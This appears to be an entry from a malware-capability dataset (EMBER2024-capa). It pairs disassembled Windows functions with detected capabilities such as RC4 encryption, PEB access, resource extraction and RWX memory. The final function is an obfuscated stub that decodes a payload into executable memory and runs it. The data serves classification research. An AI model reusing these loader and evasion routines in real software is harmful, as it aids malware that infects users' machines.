joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009a6d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1000f15c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x14], ebx
cmp dword [0x1000f134], ebx
je 0x10009ab0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
jmp 0x10009bc1
push ebx
push 1
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
call fcn.10009504
test eax, eax
jl 0x10009bb5
cmp dword [ebp + 0x14], ebx
jne 0x10009ad4
lea eax, [ebp - 0x14]
mov dword [ebp + 0x14], eax
cmp dword [ebp + 0x18], ebx
jne 0x10009af2
push dword [ebp + 0x1c]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0xc]
push dword [ebp + 8]
call fcn.100092fa
jmp 0x10009bb2
mov edi, dword [ebp + 0x1c]
mov esi, dword [edi]
push edi
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x10009b3f
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
cmp eax, 1
je 0x10009b2c
cmp eax, 7
je 0x10009b2c
cmp eax, 2
jne 0x10009bb5
cmp dword [ebp - 8], 0x7a
je 0x10009b3b
cmp dword [ebp - 8], 0xea
jne 0x10009bb5
shl dword [edi], 1
jmp 0x10009bb5
mov ecx, dword [edi]
cmp ecx, ebx
mov dword [ebp - 0x10], ecx
je 0x10009bb5
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
cmp eax, 1
je 0x10009b5c
cmp eax, 7
je 0x10009b5c
cmp eax, 2
jne 0x10009bb5
push ebx
push ebx
push ecx
push dword [ebp + 0x18]
push ebx
push ebx
call fcn.1000937e
cmp eax, ebx
je 0x10009bac
add eax, eax
cmp esi, eax
mov dword [edi], eax
jae 0x10009b7e
mov dword [ebp - 8], 0x7a
jmp 0x10009bb5
mov eax, dword [ebp - 0x10]
call fcn.1000c2c0
mov edi, esp
push dword [ebp - 0x10]
push dword [ebp + 0x18]
push edi
call fcn.1000c00e
add esp, 0xc
shr esi, 1
push esi
push dword [ebp + 0x18]
push dword [ebp - 0x10]
push edi
push ebx
push ebx
call fcn.1000937e
test eax, eax
jne 0x10009bb5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
push dword [ebp - 0xc]
call fcn.10004f2a
mov eax, dword [ebp - 8]
pop ecx
lea esp, [ebp - 0x20]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call int.1000c020
leave
ret 0x18
Function at 0x10009d6d
Capabilities:
Query environment variable

Disassembly:
push 0x218
mov eax, 0x1000cfa9
call int.1000c02f
xor esi, esi
cmp dword [0x1000f134], esi
je 0x10009d9a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x10009e6f
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x21c], 0x200
mov dword [ebp - 4], esi
mov ebx, dword [ebp + 0x10]
add ebx, ebx
push ebx
lea ecx, [ebp - 0x224]
call fcn.10009642
cmp eax, esi
mov dword [ebp - 0x14], eax
jne 0x10009df0
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x224], esi
je 0x10009dec
push dword [ebp - 0x224]
call fcn.10004f2a
pop ecx
mov dword [ebp - 0x224], esi
xor eax, eax
jmp 0x10009e6f
push esi
push 1
push esi
push esi
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call fcn.10009504
test eax, eax
jge 0x10009e09
xor edi, edi
jmp 0x10009e46
push ebx
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp dword [ebp + 0x10], esi
mov edi, eax
je 0x10009e46
cmp edi, ebx
ja 0x10009e46
cmp edi, esi
je 0x10009e3c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0xffffffffffffffff
push dword [ebp - 0x14]
push esi
push esi
call fcn.1000937e
mov edi, eax
dec edi
jmp 0x10009e46
mov eax, dword [ebp + 0xc]
cmp eax, esi
je 0x10009e46
mov word [eax], si
push dword [ebp - 0x10]
call fcn.10004f2a
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x224], esi
je 0x10009e6d
push dword [ebp - 0x224]
call fcn.10004f2a
pop ecx
mov dword [ebp - 0x224], esi
mov eax, edi
call fcn.1000c107
ret 0xc
Function at 0x4099a4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a77
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a90
push ebx
push 0x409a9c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a24
mov al, 0x69
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00409978
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a2d
call fcn.00409978
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a7e
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b30
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
jmp 0x409bd9
cmp dword [esi + 0x10], 0x1000
jne 0x409bc5
test byte [esi + 0x15], 1
jne 0x409bc5
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b84
cmp eax, 2
je 0x409b84
cmp eax, 0x10
je 0x409b84
cmp eax, 0x20
jne 0x409b99
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b99
mov bl, 1
xor ebp, ebp
jmp 0x409baa
mov eax, dword [esi]
add eax, ebp
call fcn.00409b28
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b9d
test bl, bl
je 0x409bc5
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b5c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x3ad7258d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3ad7a064]
jne 0x3ad72597
repz ret
jmp fcn.3ad73d0c
Function at 0x10001070
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 0x10]
movzx ecx, word [esp + 0xc]
mov edx, dword [0x1001e5a0]
push esi
push edi
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
mov eax, dword [0x1001e5a0]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [0x1001e5a0]
push esi
push ecx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [esp + 0xc]
mov esi, eax
push esi
push edi
push edx
call fcn.100095e0
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov dword [eax], esi
pop edi
mov eax, 1
pop esi
ret

Function at 0x100012a0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x41c
mov eax, dword [0x1001d240]
xor eax, esp
mov dword [esp + 0x418], eax
push ebx
push esi
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x24]
push edx
push 0x1001822c
push str.softwarepslm
mov esi, 4
xor ebx, ebx
push 0x80000002
mov dword [esp + 0x20], ebx
mov dword [esp + 0x34], esi
mov dword [esp + 0x30], esi
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
cmp dword [esp + 8], 2
jae 0x1000140c
inc dword [esp + 8]
push esi
lea eax, [esp + 0xc]
push eax
push esi
push 0x1001822c
push str.softwarepslm
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
push 0x200000
mov dword [esp + 0x18], 0x200000
call fcn.10009945
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x1000140c
push 0x3ff
lea ecx, [esp + 0x25]
push ebx
push ecx
mov byte [esp + 0x2c], bl
call fcn.10009d80
mov eax, dword [0x1001e5a0]
add esp, 0xc
push 0x400
lea edx, [esp + 0x24]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x20]
push 0x5c
push ecx
call fcn.10009350
mov byte [eax], bl
lea eax, [esp + 0x28]
add esp, 8
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x10001380
mov edx, dword [str.lh.bin]
mov ecx, dword [0x10018218]
push str.image
mov dword [eax], edx
push 0x65
lea edx, [esp + 0x1c]
push edx
push esi
mov dword [eax + 4], ecx
call fcn.10001070
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x24]
push ecx
push edx
push esi
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], ebx
call fcn.100010e0
push esi
call fcn.100094f0
mov eax, dword [esp + 0x34]
add esp, 0x24
cmp eax, ebx
je 0x1000140c
mov ecx, dword [esp + 0xc]
push edi
push ebx
push ebx
push ebx
push ecx
push eax
call fcn.100071e0
push esi
mov edi, eax
call fcn.100094f0
add esp, 0x18
cmp edi, ebx
je 0x1000140b
push str.fnReportMinidump
push edi
call fcn.10003b30
add esp, 8
cmp eax, ebx
je 0x1000140b
call eax
pop edi
mov ecx, dword [esp + 0x420]
pop esi
pop ebx
xor ecx, esp
call fcn.10009d36
add esp, 0x41c
ret
Function at 0x10003230
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x208
mov eax, dword [0x1001d240]
xor eax, esp
mov dword [esp + 0x204], eax
mov eax, dword [esp + 0x214]
push edi
mov edi, dword [esp + 0x210]
mov dword [esp + 4], eax
test edi, edi
jne 0x10003274
or eax, 0xffffffff
pop edi
mov ecx, dword [esp + 0x204]
xor ecx, esp
call fcn.10009d36
add esp, 0x208
ret
push esi
mov esi, dword [esp + 0x218]
test esi, esi
jg 0x1000329c
pop esi
mov eax, 0xfffffffe
pop edi
mov ecx, dword [esp + 0x204]
xor ecx, esp
call fcn.10009d36
add esp, 0x208
ret
test eax, eax
jne 0x100032bc
pop esi
mov eax, 0xfffffffd
pop edi
mov ecx, dword [esp + 0x204]
xor ecx, esp
call fcn.10009d36
add esp, 0x208
ret
mov eax, dword [esp + 0x220]
test eax, eax
jg 0x100032e3
pop esi
mov eax, 0xfffffffc
pop edi
mov ecx, dword [esp + 0x204]
xor ecx, esp
call fcn.10009d36
add esp, 0x208
ret
cmp dword [esp + 0x224], 0
jne 0x10003309
pop esi
mov eax, 0xfffffffb
pop edi
mov ecx, dword [esp + 0x204]
xor ecx, esp
call fcn.10009d36
add esp, 0x208
ret
push ebp
mov ebp, dword [esp + 0x22c]
test ebp, ebp
jg 0x10003332
pop ebp
pop esi
mov eax, 0xfffffffa
pop edi
mov ecx, dword [esp + 0x204]
xor ecx, esp
call fcn.10009d36
add esp, 0x208
ret
cmp eax, ebp
jge 0x10003353
pop ebp
pop esi
mov eax, 0xfffffff9
pop edi
mov ecx, dword [esp + 0x204]
xor ecx, esp
call fcn.10009d36
add esp, 0x208
ret
xor edx, edx
xor ecx, ecx
jmp 0x10003360
mov al, byte [edx + edi]
mov byte [esp + ecx + 0x110], al
lea eax, [edx + 1]
cdq
mov byte [esp + ecx + 0x10], cl
inc ecx
idiv esi
cmp ecx, 0x100
jl 0x10003360
xor ecx, ecx
xor eax, eax
push ebx
jmp 0x10003390
mov dl, byte [esp + eax + 0x14]
movzx esi, byte [esp + eax + 0x114]
movzx edi, dl
add esi, ecx
add edi, esi
mov ecx, edi
and ecx, 0x800000ff
jns 0x100033b5
dec ecx
or ecx, 0xffffff00
inc ecx
mov bl, byte [esp + ecx + 0x14]
mov byte [esp + ecx + 0x14], dl
mov byte [esp + eax + 0x14], bl
inc eax
cmp eax, 0x100
jl 0x10003390
xor esi, esi
xor edx, edx
xor eax, eax
test ebp, ebp
jle 0x10003449
mov ecx, dword [esp + 0x10]
mov edi, dword [esp + 0x22c]
sub edi, ecx
mov dword [esp + 0x10], ebp
inc edx
and edx, 0x800000ff
jns 0x100033f5
dec edx
or edx, 0xffffff00
inc edx
movzx eax, byte [esp + edx + 0x14]
add esi, eax
and esi, 0x800000ff
jns 0x1000340c
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esp + edx + 0x14]
mov al, byte [esp + esi + 0x14]
mov byte [esp + esi + 0x14], bl
mov byte [esp + edx + 0x14], al
movzx ebx, byte [esp + esi + 0x14]
movzx eax, al
add eax, ebx
and eax, 0x800000ff
jns 0x10003434
dec eax
or eax, 0xffffff00
inc eax
movzx eax, byte [esp + eax + 0x14]
xor al, byte [edi + ecx]
inc ecx
sub ebp, 1
mov byte [ecx - 1], al
jne 0x100033e4
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x214]
pop ebx
pop ebp
pop esi
pop edi
xor ecx, esp
call fcn.10009d36
add esp, 0x208
ret
Function at 0x10003700
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [esp + 0x18]
push ebx
mov dword [esp + 0x14], eax
call dword [sym.imp.imagehlp.dll_ImageNtHeader]
mov esi, eax
movzx eax, word [esi + 0x14]
xor ecx, ecx
xor ebp, ebp
lea eax, [eax + esi + 0x18]
cmp cx, word [esi + 6]
jae 0x1000378f
push edi
lea edi, [eax + 0x24]
mov ecx, dword [edi]
test ecx, ecx
js 0x10003782
mov edx, dword [edi - 0x14]
test edx, edx
je 0x10003782
cmp byte [esp + 0x20], 0
je 0x10003765
mov eax, ecx
and eax, 0x20000000
neg eax
sbb eax, eax
and eax, 0xe
shr ecx, 0x11
add eax, 2
and ecx, 0x200
or eax, ecx
jmp 0x1000376a
mov eax, 4
lea ecx, [esp + 0x10]
push ecx
push eax
mov eax, dword [esp + 0x1c]
push edx
mov edx, dword [edi - 0x18]
add edx, ebx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
movzx ecx, word [esi + 6]
inc ebp
add edi, 0x28
cmp ebp, ecx
jb 0x10003733
pop edi
cmp byte [esp + 0x1c], 0
je 0x100037c3
lea edx, [esp + 0xc]
push edx
push 2
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
lea eax, [esp + 0xc]
push eax
push 4
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
Function at 0x10004860
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0x808
mov eax, dword [0x1001d240]
xor eax, esp
mov dword [esp + 0x804], eax
cmp dword [esp + 0x814], 0
push ebp
mov ebp, dword [esp + 0x810]
push edi
mov edi, dword [esp + 0x818]
jne 0x100048a7
pop edi
mov al, 1
pop ebp
mov ecx, dword [esp + 0x804]
xor ecx, esp
call fcn.10009d36
add esp, 0x808
ret
push ebx
push esi
push ebp
call dword [sym.imp.imagehlp.dll_ImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x100049d7
push 0x84
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x100049d7
mov dword [esi + 0x18], ebp
mov eax, dword [ebx + 0x50]
mov dword [esi + 0x20], eax
mov ecx, dword [ebx + 8]
lea eax, [esi + 0x24]
mov dword [esi + 0x4c], ecx
xor edx, edx
push edi
push eax
mov dword [esi + 0x34], 0
mov word [esi + 0x38], dx
call fcn.10004470
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [esp + 0x26]
push edx
mov word [esp + 0x28], cx
call fcn.10009d80
lea edx, [esp + 0x28]
add esp, 0x14
mov eax, edi
sub edx, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x10004920
lea eax, [esp + 0x14]
push 0x5c
push eax
call fcn.1000aa5e
add esp, 8
test eax, eax
je 0x10004952
add eax, 2
push eax
lea ecx, [esi + 0x2c]
push ecx
call fcn.10004470
add esp, 8
push ebp
call dword [sym.imp.imagehlp.dll_ImageNtHeader]
mov ecx, dword [eax + 0x28]
test ecx, ecx
je 0x10004962
add ecx, ebp
mov edx, 0x2000
mov dword [esi + 0x1c], ecx
test word [eax + 0x16], dx
je 0x10004974
or dword [esi + 0x34], 4
mov eax, 1
mov word [esi + 0x38], ax
mov dword [esp + 0x10], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov ecx, dword [ecx + 0xc]
mov edx, dword [ecx + 0x10]
lea eax, [ecx + 0xc]
mov dword [esi], eax
mov dword [esi + 4], edx
mov dword [edx], esi
mov dword [eax + 4], esi
mov edx, dword [ecx + 0x18]
lea eax, [ecx + 0x14]
lea ecx, [esi + 8]
mov dword [ecx], eax
mov dword [esi + 0xc], edx
mov dword [edx], ecx
mov dword [eax + 4], ecx
mov al, 1
mov ecx, dword [esp + 0x814]
pop esi
pop ebx
pop edi
pop ebp
xor ecx, esp
call fcn.10009d36
add esp, 0x808
ret
xor al, al
jmp 0x100049be
Function at 0x10007710
Capabilities:
Parse pe header

Disassembly:
push ecx
push esi
push edi
mov esi, ecx
call fcn.100075c0
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
push 0
call edx
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax]
push 1
push 0x40
push 1
lea edi, [esi + 0x10]
push edi
call edx
cmp eax, 0x40
jne 0x10007801
mov eax, 0x5a4d
mov dword [esi + 4], 0
cmp word [edi], ax
jne 0x10007801
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [esi + 0x4c]
mov edx, dword [edx + 8]
push eax
call edx
mov ecx, dword [esi]
push 1
push 4
mov dword [esp + 0x10], 0
mov eax, dword [ecx]
mov eax, dword [eax]
push 1
lea edx, [esp + 0x14]
push edx
call eax
cmp dword [esp + 8], 0x4550
jne 0x10007801
mov ecx, dword [esi + 0x4c]
add ecx, 4
push 1
mov dword [esi + 8], ecx
mov ecx, dword [esi]
mov edx, dword [ecx]
mov edx, dword [edx]
push 0x14
push 1
lea eax, [esi + 0x50]
push eax
call edx
cmp eax, 0x14
jne 0x10007801
movzx eax, word [esi + 0x62]
test al, 2
je 0x10007801
mov ecx, dword [esi + 8]
add ecx, 0x14
shr eax, 8
mov dword [esi + 0xc], ecx
mov ecx, dword [esi]
mov edx, dword [ecx]
not al
test al, 1
mov eax, dword [edx]
push 1
je 0x100077dd
push 0xf0
push 1
lea edi, [esi + 0x64]
push edi
call eax
mov ecx, 0x20b
jmp 0x100077f2
push 0xe0
push 1
lea edi, [esi + 0x154]
push edi
call eax
mov ecx, 0x10b
cmp word [edi], cx
jne 0x10007801
movzx eax, word [esi + 0x52]
cmp ax, 0x10
jbe 0x1000780e
mov ecx, esi
call fcn.100075c0
pop edi
xor al, al
pop esi
pop ecx
ret
xor edx, edx
mov dword [esi + 0x4b4], 0
cmp dx, ax
jae 0x10007851
nop
mov eax, dword [esi + 0x4b4]
mov ecx, dword [esi]
mov edx, dword [ecx]
mov edx, dword [edx]
push 1
push 0x28
lea eax, [eax + eax*4]
push 1
lea eax, [esi + eax*8 + 0x234]
push eax
call edx
inc dword [esi + 0x4b4]
movzx eax, word [esi + 0x52]
cmp dword [esi + 0x4b4], eax
jl 0x10007820
pop edi
mov al, 1
pop esi
pop ecx
ret
Function at 0x100079e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
push ebx
push esi
mov esi, ecx
mov al, byte [esi + 0x63]
not al
push edi
test al, 1
je 0x10007a00
mov ecx, dword [esi + 0x80]
mov edi, dword [esi + 0x7c]
mov dword [esp + 0x14], ecx
jmp 0x10007a0e
mov edi, dword [esi + 0x170]
mov dword [esp + 0x14], 0
mov ecx, esi
call fcn.100078f0
mov ebx, dword [esp + 0x1c]
sub eax, edi
push eax
push 0
push ebx
call fcn.10009d80
add esp, 0xc
mov ecx, esi
call fcn.100079a0
mov ecx, dword [esi]
mov edx, dword [ecx]
mov edi, eax
mov eax, dword [edx + 8]
push 0
call eax
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx]
push 1
push edi
push 1
push ebx
call eax
cmp dword [esi + 0x4b4], 0
mov dword [esp + 0xc], 0
jle 0x10007ac3
lea edi, [esi + 0x23c]
push ebp
mov ecx, dword [esi]
mov ebp, dword [edi + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
push ebp
call eax
mov ebx, dword [edi + 4]
mov eax, dword [edi]
add ebx, dword [esp + 0x20]
cmp eax, ebp
jbe 0x10007a7d
mov ebp, eax
mov eax, dword [edi + 8]
mov ecx, dword [esi]
mov edx, dword [ecx]
mov edx, dword [edx]
push 1
push eax
push 1
push ebx
call edx
test dword [edi + 0x1c], 0x20000000
je 0x10007aae
lea eax, [esp + 0x14]
push eax
push 0x40
push ebp
push ebx
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esp + 0x10]
inc eax
add edi, 0x28
cmp eax, dword [esi + 0x4b4]
mov dword [esp + 0x10], eax
jl 0x10007a61
pop ebp
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0xc
ret 4

Function at 0x10009d36
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001d240]
jne 0x10009d40
repz ret
jmp fcn.1000c9fc
Function at 0x10014c88
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000c377
and dword [ebp - 4], 0
cmp dword [0x1001f3a4], 0
mov ebx, eax
jne 0x10014d39
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10014dea
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1001a924
push edi
call esi
test eax, eax
je 0x10014dea
push eax
call fcn.1000c305
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1001f3a4], eax
call esi
push eax
call fcn.1000c305
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1001f3a8], eax
call esi
push eax
call fcn.1000c305
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1001f3ac], eax
call esi
push eax
call fcn.1000c305
pop ecx
mov dword [0x1001f3b4], eax
test eax, eax
je 0x10014d39
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000c305
pop ecx
mov dword [0x1001f3b0], eax
mov eax, dword [0x1001f3b0]
cmp eax, ebx
je 0x10014d91
cmp dword [0x1001f3b4], ebx
je 0x10014d91
push eax
call fcn.1000c380
push dword [0x1001f3b4]
mov esi, eax
call fcn.1000c380
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10014d91
test edi, edi
je 0x10014d91
call esi
test eax, eax
je 0x10014d88
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10014d88
test byte [ebp - 0xc], 1
jne 0x10014d91
or dword [ebp + 0x10], 0x200000
jmp 0x10014dca
mov eax, dword [0x1001f3a8]
cmp eax, ebx
je 0x10014dca
push eax
call fcn.1000c380
pop ecx
test eax, eax
je 0x10014dca
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10014dca
mov eax, dword [0x1001f3ac]
cmp eax, ebx
je 0x10014dca
push eax
call fcn.1000c380
pop ecx
test eax, eax
je 0x10014dca
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1001f3a4]
call fcn.1000c380
pop ecx
test eax, eax
je 0x10014dea
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10014dec
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1001ec1a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1001ec29
pop dword [ebp - 0x14]
mov eax, 0x1001ec29
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x3af650c4
add dword [ebp - 0x24], 0x135bf487
mov dword [ebp - 0x20], 0xcb7a3072
add dword [ebp - 0x20], 0x66b91bd3
mov dword [ebp - 0x1c], 0xe9ec1367
add dword [ebp - 0x1c], 0x626030c7
mov dword [ebp - 0x18], 0xff4c6eb1
sub dword [ebp - 0x18], 0xff4c6eb1
lea eax, [ebp - 0x24]
push eax
mov eax, 0x64c9e3a9
add eax, 0xab381c5b
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x4096514d
sub dword [ebp - 0x24], 0xcc23e7f7
mov dword [ebp - 0x20], 0x141a032
add dword [ebp - 0x20], 0x402ac143
mov dword [ebp - 0x1c], 0x313e4dfb
sub dword [ebp - 0x1c], 0xcdcee18f
mov dword [ebp - 0x18], 0x1171da81
add dword [ebp - 0x18], 0xee8e257f
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xe3efe36b
add eax, 0x2c121c95
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3cc46
push 0
call eax
mov ecx, 0x48b5
mov edx, eax
mov ebx, 0xcc0f498a
sub ebx, 0xbc0c8d8a
add ebx, dword [ebp - 0x14]
mov esi, 0x2f576fdb
mov dword [ebp - 4], 0x2511f7ae
mov edi, dword [ebx]
add dword [ebp - 8], 0xbed9077c
add edi, esi
xor dword [ebp - 0x10], 0xb7ca3efd
mov dword [edx], edi
mov dword [ebp - 4], 0x1729dcdf
add edx, 0x754396c9
add edx, 0x8abc693b
add ebx, 0x78392089
sub ebx, 0x78392085
loop 0x1001ed3a
add eax, 0x115a7
mov ebx, eax
add eax, 5
mov ecx, 0xc2b4b301
add ecx, 0x4d4b4cff
add ecx, dword [ebp - 0x14]
call ebx
leave
ret